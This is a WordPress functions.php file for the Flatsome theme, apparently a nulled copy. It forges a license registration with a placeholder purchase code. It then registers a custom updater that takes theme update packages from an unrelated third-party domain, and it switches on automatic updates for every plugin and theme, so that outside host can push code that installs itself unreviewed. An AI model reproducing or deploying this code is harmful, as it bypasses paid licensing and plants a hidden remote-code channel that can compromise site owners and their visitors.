<?php
/**
 * Flatsome functions and definitions
 *
 * @package flatsome
 */

require get_template_directory() . '/inc/init.php';

flatsome()->init();

// Get the site URL
$site_url = get_site_url();

// Extract the domain name from the URL
$domain_name = wp_parse_url($site_url, PHP_URL_HOST);

$update_option_data = array(
    'id'           => 'new_id_123456',
    'type'         => 'PUBLIC',
    'domain'       => $domain_name, // Set the domain to the current domain name
    'registeredAt' => '2021-07-18T12:51:10.826Z',
    'purchaseCode' => 'abcd1234-5678-90ef-ghij-klmnopqrstuv',
    'licenseType'  => 'Regular License',
    'errors'       => array(),
    'show_notice'  => false
);

update_option('flatsome_registration', $update_option_data, 'yes');


class Flatsome_Theme_Updater {
    private $theme;
    private $metadata_url;
    private $option_name;
    private static $filter_prefix = 'flatsome_update_';

    public function __construct($theme, $metadata_url) {
        $this->theme = $theme;
        $this->metadata_url = $metadata_url;
        $this->option_name = 'theme_update_info_' . $this->theme;
        add_filter('pre_set_site_transient_update_themes', [$this, 'check_for_updates']);
    }

    public function check_for_updates($transient) {
        $update_data = $this->get_update_data();
        if ($update_data && version_compare($update_data->version, $this->get_installed_version(), '>')) {
            $transient->response[$this->theme] = [
                'new_version' => $update_data->version,
                'url' => $update_data->details_url,
                'package' => $update_data->download_url
            ];
        }
        return $transient;
    }

    private function get_update_data() {
        $response = wp_remote_get($this->metadata_url, ['timeout' => 10]);
        if (is_wp_error($response)) return null;
        $body = wp_remote_retrieve_body($response);
        return json_decode($body);
    }

    private function get_installed_version() {
        return wp_get_theme($this->theme)->get('Version');
    }
}

new Flatsome_Theme_Updater('flatsome', 'https://tinhcau.com/wp-content/flatsome-updates/theme-version.json');

// Enable automatic updates for plugins and themes
add_filter('auto_update_plugin', '__return_true');
add_filter('auto_update_theme', '__return_true');